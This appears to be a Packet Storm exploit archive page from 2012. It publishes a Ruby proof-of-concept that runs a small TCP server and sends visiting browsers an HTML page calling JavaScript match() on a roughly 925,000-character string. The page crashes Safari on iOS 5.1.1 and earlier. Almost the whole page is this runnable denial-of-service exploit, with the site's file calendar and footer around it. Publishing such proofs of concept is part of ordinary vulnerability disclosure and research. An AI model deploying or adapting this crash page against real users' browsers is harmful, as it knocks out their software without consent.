what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

iOS 5.1.1 Safari Browser Denial Of Service

iOS 5.1.1 Safari Browser Denial Of Service
Posted May 26, 2012
Authored by Alberto Ortega

iOS versions 5.1.1 and below Safari Browser JS match(), search() crash proof of concept exploit.

tags | exploit, proof of concept
systems | cisco
SHA-256 | 88bf13ee6936fd4a41664c0ccb5fe91fdf90eb621dae78246483afea0a274ca3

iOS 5.1.1 Safari Browser Denial Of Service

Change Mirror Download
#!/usr/bin/env ruby

# - Title
# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net

# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
<html>\n\
<head><title>Crash PoC</title></head>\n\
<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
s.match(\"#{chr*buffer_len}\");\n\
</script>\n\
</html>";

def help()
puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
op.on("-h", "--host HOST") do |p|
opts["host"] = p
end
op.on("-p", "--port PORT") do |p|
opts["port"] = p
end
op.on("-v", "--verbose") do |p|
opts["verbose"] = true
end
end

begin
optparser.parse!
rescue
help()
exit 1
end

if (opts.length == 0 || opts["port"] == nil)
help()
exit 1
end

if (opts["verbose"] != nil)
debug = true
else
debug = false
end
if (opts["host"] != nil)
host = opts["host"]
else
host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
serv = TCPServer.new(host, port)
puts "Listening on #{host}:#{port.to_s} ..."
rescue
puts "Error listening on #{host}:#{port.to_s}"
exit 1
end

begin
s = serv.accept()
if debug
puts "Client connected, waiting petition ..."
end
data = s.recv(1000)
if debug
puts "Sending crafted packet ..."
end
s.print(body)
if debug
puts "Closing connection ..."
end
s.close()
puts "Done!"
rescue
puts "Error sending data"
exit 1
end

Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close